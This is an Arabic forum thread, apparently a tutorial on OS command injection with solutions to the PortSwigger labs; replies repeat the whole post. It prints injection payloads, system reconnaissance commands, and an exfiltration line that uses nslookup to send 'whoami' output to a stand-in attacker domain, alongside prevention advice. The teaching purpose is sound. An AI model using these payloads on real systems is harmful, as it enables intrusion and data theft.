مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ Portswigger ] شرح ما هو الـ حقن الأوامر (OS Command Injection) وحل كل الابات على منصة portswigger✨📢

3b0-0d3b0-0d is verified member.

{ || مشرف قسم CTF || }
.:: طاقم المشرفين ::.

السمعة:

ما هو حقن الأوامر؟
حقن الأوامر OS Command Injection هي ثغرة أمنية بتسمحلنا بتنفيذ أوامر نظام التشغيل على السيرفر اللي بشغل التطبيق
الثغرة هاي خطيرة لأنها ممكن تمكننا من السيطرة الكاملة على التطبيق والبيانات وحتى اختراق أجزاء ثانية من البنية التحتية للسيرفر

كيف بحصل الهجوم؟

مثلًا عنا تطبيق تسوق بستخدم أوامر نظام التشغيل عشان ينفذ مهام معينة أوامر مثل :
كود:
https://insecure-website.com/stockStatus?productID=381&storeID=29
stockreport.pl 381 29
عشان يعرض حالة المخزون لمنتج معين


لو التطبيق ما بتحقق من المدخلات Input Validation بنقدر نحقن أوامر إضافية مثلاً لو كتبنا :
& echo aiwefwlguh &

التطبيق بشغل الأوامر هاي :

stockreport.pl & echo aiwefwlguh & 29

هون الأمر echo aiwefwlguh بتم تنفيذه وبظهرلنا الناتج

طرق اكتشاف واستغلال الثغرة

عن طريق أوامر بسيطة بنستخدم أوامر زي echo عشان نتأكد أن الهجوم ناجح
عن طريق تأخير زمني بنستخدم أوامر بتأخر وقت الاستجابة مثل sleep عشان نتأكد من تنفيذ الأمر
عن طريق إعادة توجيه المخرجات بنوجه ناتج الأوامر لملف بأمكاننا نوصله عن طريق المتصفح
عن طريق تفاعلات شبكية بنستخدم أوامر بتتفاعل مع شبكة خارجية عشان نتأكد أنه الهجوم نجح

الوقاية من الثغرة

عن طريق تجنب استخدم أوامر نظام التشغيل اذا بإمكاننا نستخدم بدائل آمنة بدال ما نستدعي أوامر نظام التشغيل مباشرة
عن طريق التحقق من المدخلات بنتأكد من أنه المدخلات بتكون آمنة وما بتحتوي على أحرف خاصة ممكن تستخدم بالهجوم
عن طريق استخدام مكتبات آمنة بنستخدم مكتبات متخصصة للتعامل مع المهام اللي بتتطلب أوامر نظام التشغيل





OS command injection, simple case

بأمكاننا برضو نستخدم
كود:
1|whoami+%23





Blind OS command injection with time delays

أوامر مفيدة بعد اكتشاف ثغرة حقن الأوامر OS Command Injection

لما نلاقي ثغرة بكون مفيد نستخدم أوامر عشان نجمع معلومات عن النظام

مثلًا أوامر مهمة :
عشان نعرف المستخدم الحالي
على لينكس : whoami
على ويندوز : whoami

معرفة نظام التشغيل
على لينكس : uname -a
على ويندوز : ver

إعدادات الشبكة
على لينكس : ifconfig
على ويندوز : ipconfig /all

الاتصالات الشبكية
على لينكس : netstat -an
على ويندوز : netstat -an

العمليات الجارية
على لينكس : ps -ef
على ويندوز : tasklist

2. ثغرات حقن الأوامر العمياء Blind OS Command Injection :

ببعض الحالات التطبيق ما برجع نتيجة الأوامر اللي بتتنفذ Blind Injection
عشان نكتشف ونستغل هاي الثغرة ممكن نستخدم تقنيات زي تأخير الوقت Time Delay زي ما تعلمنا بالـ sql
مثال:
بنستخدم أمر ping عشان نعمل تأخير :

& ping -c 10 127.0.0.1 &
الأمر هاد بخلي التطبيق يرسل 10 حزم packets لـ 127.0.0.1 اللي بسبب تأخير حوالي 10 ثواني التأخير بكون دليل على نجاح حقن الأمر وبإمكاننا نستخدم || بدال &






Blind OS command injection with output redirection

استغلال ثغرة Blind OS Command Injection

ببعض الحالات بنقدر نحقن أوامر نظام OS Commands بالتطبيق لكن ما بنشوف النتيجة مباشرة Blind Injection
عشان نتجاوز المشكلة هاي بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب Web Root وبنقدر بعدين نفتحه باستخدام المتصفح

مثلًا :

لو التطبيق بستخدم ملفات ثابتة Static Files من المسار var/www/static/ بنقدر نحقن الأمر :

& whoami > /var/www/static/whoami.txt &
الأمر whoami برجع اسم المستخدم الحالي

الرمز > بوجه نتيجة الأمر لملف whoami.txt داخل مجلد الويب

بنسترجع النتيجة عن طريق فتح المتصفح وبندخل على الرابط التالي عشان نشوف نتيجة الأمر :


الملف whoami.txt بكون موجود بمجلد الويب وبنقدر نشوف اسم المستخدم اللي تم تنفيذ الأمر على حسابه

النقاط المهمة:

الـ Blind Command Injection بكون لما نحقن أوامر نظام لكن ما بنشوف النتيجة مباشرة
الـ
توجيه النتيجة لملف بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب
الـ
استرجاع النتيجة بنقدر نسترجع الملف باستخدام المتصفح ونشوف نتيجة الأمر






Blind OS command injection with out-of-band interaction

تقنيات الـ Out-of-Band (OAST)

عشان نتأكد إنه الأوامر اللي دخلناها اشتغلت
بنستخم تقنيات الـ Out-of-Band يعني بنحاول نسبب تفاعل شبكي network interaction مع سيرفر تابع النا
مثال على الأمر اللي ممكن نستخدمه:
& nslookup kgji2ohoyw.web-attacker.com &

هون الأمر nslookup بعمل عملية DNS lookup للدومين kgji2ohoyw.web-attacker.com
بقدر اراقب إذا تمت عملية الـ DNS lookup وبالتالي بنتأكد إنه الأمر اشتغل



عشان نقدر نحل هاد التحدي لازم نفهم اشي بالـ Burp

شو هو الـ Burp Collaborator؟

أداة بنستخدمها عشان نكتشف الثغرات اللي بتكون مش واضحة Invisible Vulnerabilities
الثغرات هاي بتكون ما بتسبب أخطاء واضحة أو تغييرات بناتج التطبيق أو حتى تأخير ملحوظ

كيف بتشتغل؟

عن طريق إرسال Payloads : برسل الـ Burp Collaborator طلبات بتحتوي على دومينات فرعية subdomains خاصة فيه (السيرفر تاعه) للهدف
عن طريق تفاعل التطبيق : إذا كان فيه ثغرة التطبيق ممكن يتفاعل مع سيرفر الـ Burp Collaborator
عن طريق اكتشاف التفاعل : الـ Burp بفحص سيرفر الـ Collaborator عشان يشوف إذا حصل تفاعل من التطبيق

3. استخداماته :

بالـ Burp Suite Professional : بنقدر نستخدمه يدويًا عشان نختبر وجود ثغرات
بالـ Burp Scanner : بكون تلقائي ويتم استخدامه لاكتشاف الثغرات أثناء الفحص
بالـ إضافات Extensions : بعض الإضافات بتكون بتستخدم Burp Collaborator لاكتشاف الثغرات


وبالفيديو بوضح طريقه استخدامه لحل التحدي





Blind OS command injection with out-of-band data exfiltration

الـ Out-of-Band Channel :

القناة الخارجية بتكون طريقة لسرقة بيانات من السيرفر عن طريق إرسالها لسيرفر تابع النا
بالمثال بنستخدم أمر nslookup عشان يرسل نتيجة أمر whoami (اللي بعرضلنا اسم المستخدم الحالي) لسيرفر تابع النا

مثال الكود

كود:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

هون الـ whoami بعرض اسم المستخدم (مثل wwwuser)
النتيجة بتكون مرسلة كجزء من اسم نطاق (domain) لسيرفر المهاجم

كود:
wwwuser.kgji2ohoyw.web-attacker.com

كيف بشتغل؟

بنستخدم ثغرة بالتطبيق عشان ننفذ الأوامر على السيرفر
نتيجة الأمر whoami بتنرسل عبر طلب الـ DNS لسيرفرنا المهاجم اللي بسمحلنا نسرق معلومات

النقاط المهمة:

القناة الخارجية هي طريقة لسرقة بيانات عن طريق إرسالها لسيرفر تابعلنا
بنستخدم الـ nslookup عشان نرسل نتيجة الأوامر مثل whoami عبر طلب الـ DNS
سرقة معلومات المهاجم بنكون قادرين نشوف النتيجة بسجلات السيرفر تاعنا







أشياء مهمة

طرق حقن أوامر نظام التشغيل OS Command Injection :

الرموز المستخدمة:

رموز زي

كود:
&
&&
|
||
بتشتغل على أنظمة ويندوز و Unix-based


رموز زي

كود:
;
Newline (0x0a or \n)
بتشتغل بس على أنظمة الـ Unix-based


الرموز زي

كود:
`
injected command `
$(
injected command )
بتستخدم لتنفيذ أوامر داخلية Inline Execution على أنظمة الـ Unix-based


حقن الأوامر داخل علامات الاقتباس :
إذا كان الإدخال اللي بنتحكم فيه بكون داخل علامات اقتباس " أو ' بكون لازم نوقف الاقتباس قبل ما نحقن الأوامر

الوقاية من هجمات حقن الأوامر :

أفضل حل نتجنب اننا نستخدم أوامر نظام التشغيل من الكود الخاص بالتطبيق


لكن إذا كان لازم نستخدم أوامر نظام التشغيل :
بنعمل تحقق قوي على المدخلات Input Validation
بنستخدم قائمة بالقيم المسموحة Whitelist
بنتأكد إنه المدخلات بتكون أرقام أو أحرف أبجدية رقمية فقط


نصيحة مهمة !!
ما نحاول نعمل Black list ونحط أوامر ما تتنفذ
دائمًا أفضل نعمل قائمة white list يعني نسمح بس الأوامر اللي مسموح تتنفذ

أعطوني رأيكم هاي الطريقه أفضل
كتابه وصور للشرح النظري
فيديو لحل الابات

ولا شرح كل الخطوات بالصور ؟
 
التعديل الأخير بواسطة المشرف:
دائماً طروحاتك مميزة حبيبي عبود
بارك الله فيك وجزاك الله كل خير ونفع الله بك
ننتظر جديد ابداعاتك دائماً
تحياتي
 
دائماً طروحاتك مميزة حبيبي عبود
بارك الله فيك وجزاك الله كل خير ونفع الله بك
ننتظر جديد ابداعاتك دائماً
تحياتي
الله يبارك فيك ويسعدك على دعمك الجميل 😍
 
  • Love
التفاعلات: STORM
ما هو حقن الأوامر؟
حقن الأوامر OS Command Injection هي ثغرة أمنية بتسمحلنا بتنفيذ أوامر نظام التشغيل على السيرفر اللي بشغل التطبيق
الثغرة هاي خطيرة لأنها ممكن تمكننا من السيطرة الكاملة على التطبيق والبيانات وحتى اختراق أجزاء ثانية من البنية التحتية للسيرفر

كيف بحصل الهجوم؟

مثلا عننا تطبيق تسوق بستخدم أوامر نظام التشغيل عشان ينفذ مهام معينة اوامر مثل :
كود:
https://insecure-website.com/stockStatus?productID=381&storeID=29
stockreport.pl 381 29
عشان يعرض حالة المخزون لمنتج معين


لو التطبيق ما بتحقق من المدخلات Input Validation بنقدر نحقن أوامر إضافية مثلاً لو كتبنا :
& echo aiwefwlguh &

التطبيق بشغل الأوامر هاي :

stockreport.pl & echo aiwefwlguh & 29

هون الأمر echo aiwefwlguh بتم تنفيذه وبظهرلنا الناتج

طرق اكتشاف واستغلال الثغرة

عن طريق أوامر بسيطة بنستخدم أوامر زي echo عشان نتأكد إن الهجوم ناجح
عن طريق تأخير زمني بنستخدم أوامر بتأخر وقت الاستجابة مثل sleep عشان نتأكد من تنفيذ الأمر
عن طريق إعادة توجيه المخرجات بنوجه ناتج الأوامر لملف بأمكاننا نوصله عن طريق المتصفح
عن طريق تفاعلات شبكية بنستخدم أوامر بتتفاعل مع شبكة خارجية عشان نتأكد انه الهجوم نجح

الوقاية من الثغرة

عن طريق تجنب استخدم أوامر نظام التشغيل اذا بإمكاننا نستخدم بدائل آمنة بدال ما نستدعي أوامر نظام التشغيل مباشرة
عن طريق التحقق من المدخلات بنتأكد من أنه المدخلات بتكون آمنة وما بتحتوي على أحرف خاصة ممكن تستخدم بالهجوم
عن طريق استخدام مكتبات آمنة بنستخدم مكتبات متخصصة للتعامل مع المهام اللي بتتطلب أوامر نظام التشغيل






OS command injection, simple case

بأمكاننا برضو نستخدم
كود:
1|whoami+%23






Blind OS command injection with time delays

أوامر مفيدة بعد اكتشاف ثغرة حقن الأوامر OS Command Injection

لما نلاقي ثغرة بكون مفيد نستخدم أوامر عشان نجمع معلومات عن النظام

مثلا اوامر مهمة :
عشان نعرف المستخدم الحالي
على لينكس : whoami
على ويندوز : whoami

معرفة نظام التشغيل
على لينكس : uname -a
على ويندوز : ver

إعدادات الشبكة
على لينكس : ifconfig
على ويندوز : ipconfig /all

الاتصالات الشبكية
على لينكس : netstat -an
على ويندوز : netstat -an

العمليات الجارية
على لينكس : ps -ef
على ويندوز : tasklist

2. ثغرات حقن الأوامر العمياء Blind OS Command Injection :

ببعض الحالات التطبيق ما برجع نتيجة الأوامر اللي بتتنفذ Blind Injection
عشان نكتشف ونستغل هاي الثغرة ممكن نستخدم تقنيات زي تأخير الوقت Time Delay زي ما تعلمنا بالـ sql
مثال:
بنستخدم أمر ping عشان نعمل تأخير :

& ping -c 10 127.0.0.1 &
الامر هاد بخلي التطبيق يرسل 10 حزم packets لـ 127.0.0.1 اللي بسبب تأخير حوالي 10 ثواني التأخير بكون دليل على نجاح حقن الأمر وبإمكاننا نستخدم || بدال &







Blind OS command injection with output redirection

استغلال ثغرة Blind OS Command Injection

ببعض الحالات بنقدر نحقن أوامر نظام OS Commands بالتطبيق لكن ما بنشوف النتيجة مباشرة Blind Injection
عشان نتجاوز المشكلة هاي بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب Web Root وبنقدر بعدين نفتحه باستخدام المتصفح

مثلا :

لو التطبيق بستخدم ملفات ثابتة Static Files من المسار var/www/static/ بنقدر نحقن الأمر :

& whoami > /var/www/static/whoami.txt &
الأمر whoami برجع اسم المستخدم الحالي

الرمز > بوجه نتيجة الأمر لملف whoami.txt داخل مجلد الويب

بنسترجع النتيجة عن طريق فتح المتصفح وبندخل على الرابط التالي عشان نشوف نتيجة الأمر :


الملف whoami.txt بكون موجود بمجلد الويب وبنقدر نشوف اسم المستخدم اللي تم تنفيذ الأمر على حسابه

النقاط المهمة:

الـ Blind Command Injection بكون لما نحقن أوامر نظام لكن ما بنشوف النتيجة مباشرة
الـ
توجيه النتيجة لملف بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب
الـ
استرجاع النتيجة بنقدر نسترجع الملف باستخدام المتصفح ونشوف نتيجة الأمر







Blind OS command injection with out-of-band interaction

تقنيات الـ Out-of-Band (OAST)

عشان نتأكد إنه الأوامر اللي دخلناها اشتغلت
بنستخم تقنيات الـ Out-of-Band يعني بنحاول نسبب تفاعل شبكي network interaction مع سيرفر تابع النا
مثال على الأمر اللي ممكن نستخدمه:
& nslookup kgji2ohoyw.web-attacker.com &

هون الأمر nslookup بعمل عملية DNS lookup للدومين kgji2ohoyw.web-attacker.com
بقدر اراقب إذا تمت عملية الـ DNS lookup وبالتالي بنتأكد إنه الأمر اشتغل



عشان نقدر نحل هاد التحدي لازم نفهم اشي بالـ Burp

شو هو الـ Burp Collaborator؟

أداة بنستخدمها عشان نكتشف الثغرات اللي بتكون مش واضحة Invisible Vulnerabilities
الثغرات هاي بتكون ما بتسبب أخطاء واضحة أو تغييرات بناتج التطبيق أو حتى تأخير ملحوظ

كيف بتشتغل؟

عن طريق إرسال Payloads : برسل الـ Burp Collaborator طلبات بتحتوي على دومينات فرعية subdomains خاصة فيه (السيرفر تاعه) للهدف
عن طريق تفاعل التطبيق : إذا كان فيه ثغرة التطبيق ممكن يتفاعل مع سيرفر الـ Burp Collaborator
عن طريق اكتشاف التفاعل : الـ Burp بفحص سيرفر الـ Collaborator عشان يشوف إذا حصل تفاعل من التطبيق

3. استخداماته :

بالـ Burp Suite Professional : بنقدر نستخدمه يدويًا عشان نختبر وجود ثغرات
بالـ Burp Scanner : بكون تلقائي ويتم استخدامه لاكتشاف الثغرات أثناء الفحص
بالـ إضافات Extensions : بعض الإضافات بتكون بتستخدم Burp Collaborator لاكتشاف الثغرات


وبالفيديو بوضح طريقه استخدامه لحل التحدي






Blind OS command injection with out-of-band data exfiltration

الـ Out-of-Band Channel :

القناة الخارجية بتكون طريقة لسرقة بيانات من السيرفر عن طريق إرسالها لسيرفر تابع النا
بالمثال بنستخدم أمر nslookup عشان يرسل نتيجة أمر whoami (اللي بعرضلنا اسم المستخدم الحالي) لسيرفر تابع النا

مثال الكود

كود:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

هون الـ whoami بعرض اسم المستخدم (مثل wwwuser)
النتيجة بتكون مرسلة كجزء من اسم نطاق (domain) لسيرفر المهاجم

كود:
wwwuser.kgji2ohoyw.web-attacker.com


كيف بشتغل؟

بنستخدم ثغرة بالتطبيق عشان ننفذ الأوامر على السيرفر
نتيجة الأمر whoami بتنرسل عبر طلب الـ DNS لسيرفرنا المهاجم اللي بسمحلنا نسرق معلومات

النقاط المهمة:

القناة الخارجية هي طريقة لسرقة بيانات عن طريق إرسالها لسيرفر تابعلنا
بنستخدم الـ nslookup عشان نرسل نتيجة الأوامر مثل whoami عبر طلب الـ DNS
سرقة معلومات المهاجم بنكون قادرين نشوف النتيجة بسجلات السيرفر تاعنا








اشياء مهمه

طرق حقن أوامر نظام التشغيل OS Command Injection :

الرموز المستخدمة:

رموز زي

كود:
&
&&
|
||
بتشتغل على أنظمة ويندوز و Unix-based


رموز زي

كود:
;
Newline (0x0a or \n)
بتشتغل بس على أنظمة الـ Unix-based


الرموز زي

كود:
`
injected command `
$(
injected command )
بتستخدم لتنفيذ أوامر داخلية Inline Execution على أنظمة الـ Unix-based


حقن الأوامر داخل علامات الاقتباس :
إذا كان الإدخال اللي بنتحكم فيه بكون داخل علامات اقتباس " أو ' بكون لازم نوقف الاقتباس قبل ما نحقن الأوامر

الوقاية من هجمات حقن الأوامر :

أفضل حل نتجنب اننا نستخدم أوامر نظام التشغيل من الكود الخاص بالتطبيق


لكن إذا كان لازم نستخدم أوامر نظام التشغيل :
بنعمل تحقق قوي على المدخلات Input Validation
بنستخدم قائمة بالقيم المسموحة Whitelist
بنتأكد إنه المدخلات بتكون أرقام أو أحرف أبجدية رقمية فقط


نصيحه مهمه !!
ما نحاول نعمل Black list ونحط اوامر ما تتنفذ
دائما افضل نعمل قائمه white list يعني نسمح بس الاوامر اللي مسموح تتنفذ
الله يعطيك العافية 🔥
اعطوني رأيكم هاي الطريقه افضل
كتابه وصور للشرح النظري
فيديو لحل الابات

ولا شرح كل الخطوات بالصور ؟
بدعم انه يكون في فيديو لشرح العملي
ولا غنى عن النظري طبعًا
 
الله يعطيك العافية 🔥

بدعم انه يكون في فيديو لشرح العملي
ولا غنى عن النظري طبعًا
الله يعافيكِ 🙏
ان شاء الله هاد النهج اللي ماشي عليه
 
ما هو حقن الأوامر؟
حقن الأوامر OS Command Injection هي ثغرة أمنية بتسمحلنا بتنفيذ أوامر نظام التشغيل على السيرفر اللي بشغل التطبيق
الثغرة هاي خطيرة لأنها ممكن تمكننا من السيطرة الكاملة على التطبيق والبيانات وحتى اختراق أجزاء ثانية من البنية التحتية للسيرفر

كيف بحصل الهجوم؟

مثلا عننا تطبيق تسوق بستخدم أوامر نظام التشغيل عشان ينفذ مهام معينة اوامر مثل :
كود:
https://insecure-website.com/stockStatus?productID=381&storeID=29
stockreport.pl 381 29
عشان يعرض حالة المخزون لمنتج معين


لو التطبيق ما بتحقق من المدخلات Input Validation بنقدر نحقن أوامر إضافية مثلاً لو كتبنا :
& echo aiwefwlguh &

التطبيق بشغل الأوامر هاي :

stockreport.pl & echo aiwefwlguh & 29

هون الأمر echo aiwefwlguh بتم تنفيذه وبظهرلنا الناتج

طرق اكتشاف واستغلال الثغرة

عن طريق أوامر بسيطة بنستخدم أوامر زي echo عشان نتأكد إن الهجوم ناجح
عن طريق تأخير زمني بنستخدم أوامر بتأخر وقت الاستجابة مثل sleep عشان نتأكد من تنفيذ الأمر
عن طريق إعادة توجيه المخرجات بنوجه ناتج الأوامر لملف بأمكاننا نوصله عن طريق المتصفح
عن طريق تفاعلات شبكية بنستخدم أوامر بتتفاعل مع شبكة خارجية عشان نتأكد انه الهجوم نجح

الوقاية من الثغرة

عن طريق تجنب استخدم أوامر نظام التشغيل اذا بإمكاننا نستخدم بدائل آمنة بدال ما نستدعي أوامر نظام التشغيل مباشرة
عن طريق التحقق من المدخلات بنتأكد من أنه المدخلات بتكون آمنة وما بتحتوي على أحرف خاصة ممكن تستخدم بالهجوم
عن طريق استخدام مكتبات آمنة بنستخدم مكتبات متخصصة للتعامل مع المهام اللي بتتطلب أوامر نظام التشغيل






OS command injection, simple case

بأمكاننا برضو نستخدم
كود:
1|whoami+%23






Blind OS command injection with time delays

أوامر مفيدة بعد اكتشاف ثغرة حقن الأوامر OS Command Injection

لما نلاقي ثغرة بكون مفيد نستخدم أوامر عشان نجمع معلومات عن النظام

مثلا اوامر مهمة :
عشان نعرف المستخدم الحالي
على لينكس : whoami
على ويندوز : whoami

معرفة نظام التشغيل
على لينكس : uname -a
على ويندوز : ver

إعدادات الشبكة
على لينكس : ifconfig
على ويندوز : ipconfig /all

الاتصالات الشبكية
على لينكس : netstat -an
على ويندوز : netstat -an

العمليات الجارية
على لينكس : ps -ef
على ويندوز : tasklist

2. ثغرات حقن الأوامر العمياء Blind OS Command Injection :

ببعض الحالات التطبيق ما برجع نتيجة الأوامر اللي بتتنفذ Blind Injection
عشان نكتشف ونستغل هاي الثغرة ممكن نستخدم تقنيات زي تأخير الوقت Time Delay زي ما تعلمنا بالـ sql
مثال:
بنستخدم أمر ping عشان نعمل تأخير :

& ping -c 10 127.0.0.1 &
الامر هاد بخلي التطبيق يرسل 10 حزم packets لـ 127.0.0.1 اللي بسبب تأخير حوالي 10 ثواني التأخير بكون دليل على نجاح حقن الأمر وبإمكاننا نستخدم || بدال &







Blind OS command injection with output redirection

استغلال ثغرة Blind OS Command Injection

ببعض الحالات بنقدر نحقن أوامر نظام OS Commands بالتطبيق لكن ما بنشوف النتيجة مباشرة Blind Injection
عشان نتجاوز المشكلة هاي بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب Web Root وبنقدر بعدين نفتحه باستخدام المتصفح

مثلا :

لو التطبيق بستخدم ملفات ثابتة Static Files من المسار var/www/static/ بنقدر نحقن الأمر :

& whoami > /var/www/static/whoami.txt &
الأمر whoami برجع اسم المستخدم الحالي

الرمز > بوجه نتيجة الأمر لملف whoami.txt داخل مجلد الويب

بنسترجع النتيجة عن طريق فتح المتصفح وبندخل على الرابط التالي عشان نشوف نتيجة الأمر :


الملف whoami.txt بكون موجود بمجلد الويب وبنقدر نشوف اسم المستخدم اللي تم تنفيذ الأمر على حسابه

النقاط المهمة:

الـ Blind Command Injection بكون لما نحقن أوامر نظام لكن ما بنشوف النتيجة مباشرة
الـ
توجيه النتيجة لملف بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب
الـ
استرجاع النتيجة بنقدر نسترجع الملف باستخدام المتصفح ونشوف نتيجة الأمر







Blind OS command injection with out-of-band interaction

تقنيات الـ Out-of-Band (OAST)

عشان نتأكد إنه الأوامر اللي دخلناها اشتغلت
بنستخم تقنيات الـ Out-of-Band يعني بنحاول نسبب تفاعل شبكي network interaction مع سيرفر تابع النا
مثال على الأمر اللي ممكن نستخدمه:
& nslookup kgji2ohoyw.web-attacker.com &

هون الأمر nslookup بعمل عملية DNS lookup للدومين kgji2ohoyw.web-attacker.com
بقدر اراقب إذا تمت عملية الـ DNS lookup وبالتالي بنتأكد إنه الأمر اشتغل



عشان نقدر نحل هاد التحدي لازم نفهم اشي بالـ Burp

شو هو الـ Burp Collaborator؟

أداة بنستخدمها عشان نكتشف الثغرات اللي بتكون مش واضحة Invisible Vulnerabilities
الثغرات هاي بتكون ما بتسبب أخطاء واضحة أو تغييرات بناتج التطبيق أو حتى تأخير ملحوظ

كيف بتشتغل؟

عن طريق إرسال Payloads : برسل الـ Burp Collaborator طلبات بتحتوي على دومينات فرعية subdomains خاصة فيه (السيرفر تاعه) للهدف
عن طريق تفاعل التطبيق : إذا كان فيه ثغرة التطبيق ممكن يتفاعل مع سيرفر الـ Burp Collaborator
عن طريق اكتشاف التفاعل : الـ Burp بفحص سيرفر الـ Collaborator عشان يشوف إذا حصل تفاعل من التطبيق

3. استخداماته :

بالـ Burp Suite Professional : بنقدر نستخدمه يدويًا عشان نختبر وجود ثغرات
بالـ Burp Scanner : بكون تلقائي ويتم استخدامه لاكتشاف الثغرات أثناء الفحص
بالـ إضافات Extensions : بعض الإضافات بتكون بتستخدم Burp Collaborator لاكتشاف الثغرات


وبالفيديو بوضح طريقه استخدامه لحل التحدي






Blind OS command injection with out-of-band data exfiltration

الـ Out-of-Band Channel :

القناة الخارجية بتكون طريقة لسرقة بيانات من السيرفر عن طريق إرسالها لسيرفر تابع النا
بالمثال بنستخدم أمر nslookup عشان يرسل نتيجة أمر whoami (اللي بعرضلنا اسم المستخدم الحالي) لسيرفر تابع النا

مثال الكود

كود:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

هون الـ whoami بعرض اسم المستخدم (مثل wwwuser)
النتيجة بتكون مرسلة كجزء من اسم نطاق (domain) لسيرفر المهاجم

كود:
wwwuser.kgji2ohoyw.web-attacker.com


كيف بشتغل؟

بنستخدم ثغرة بالتطبيق عشان ننفذ الأوامر على السيرفر
نتيجة الأمر whoami بتنرسل عبر طلب الـ DNS لسيرفرنا المهاجم اللي بسمحلنا نسرق معلومات

النقاط المهمة:

القناة الخارجية هي طريقة لسرقة بيانات عن طريق إرسالها لسيرفر تابعلنا
بنستخدم الـ nslookup عشان نرسل نتيجة الأوامر مثل whoami عبر طلب الـ DNS
سرقة معلومات المهاجم بنكون قادرين نشوف النتيجة بسجلات السيرفر تاعنا








اشياء مهمه

طرق حقن أوامر نظام التشغيل OS Command Injection :

الرموز المستخدمة:

رموز زي

كود:
&
&&
|
||
بتشتغل على أنظمة ويندوز و Unix-based


رموز زي

كود:
;
Newline (0x0a or \n)
بتشتغل بس على أنظمة الـ Unix-based


الرموز زي

كود:
`
injected command `
$(
injected command )
بتستخدم لتنفيذ أوامر داخلية Inline Execution على أنظمة الـ Unix-based


حقن الأوامر داخل علامات الاقتباس :
إذا كان الإدخال اللي بنتحكم فيه بكون داخل علامات اقتباس " أو ' بكون لازم نوقف الاقتباس قبل ما نحقن الأوامر

الوقاية من هجمات حقن الأوامر :

أفضل حل نتجنب اننا نستخدم أوامر نظام التشغيل من الكود الخاص بالتطبيق


لكن إذا كان لازم نستخدم أوامر نظام التشغيل :
بنعمل تحقق قوي على المدخلات Input Validation
بنستخدم قائمة بالقيم المسموحة Whitelist
بنتأكد إنه المدخلات بتكون أرقام أو أحرف أبجدية رقمية فقط


نصيحه مهمه !!
ما نحاول نعمل Black list ونحط اوامر ما تتنفذ
دائما افضل نعمل قائمه white list يعني نسمح بس الاوامر اللي مسموح تتنفذ

اعطوني رأيكم هاي الطريقه افضل
كتابه وصور للشرح النظري
فيديو لحل الابات

ولا شرح كل الخطوات بالصور ؟
موضوع جميل احييك
هل الطرق دي بتنجح مع الويب ابلكيشنز اللي محمية بcloudflare ؟؟
 
موضوع جميل احييك
هل الطرق دي بتنجح مع الويب ابلكيشنز اللي محمية بcloudflare ؟؟
الـ Cloudflare بوفر حمايه ممتازه وحتى في ai كمان بساعد على اكتشاف هاي اثغرات بس ك جواب على سؤالك بالزبط هل اه او لا مش متأكد
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى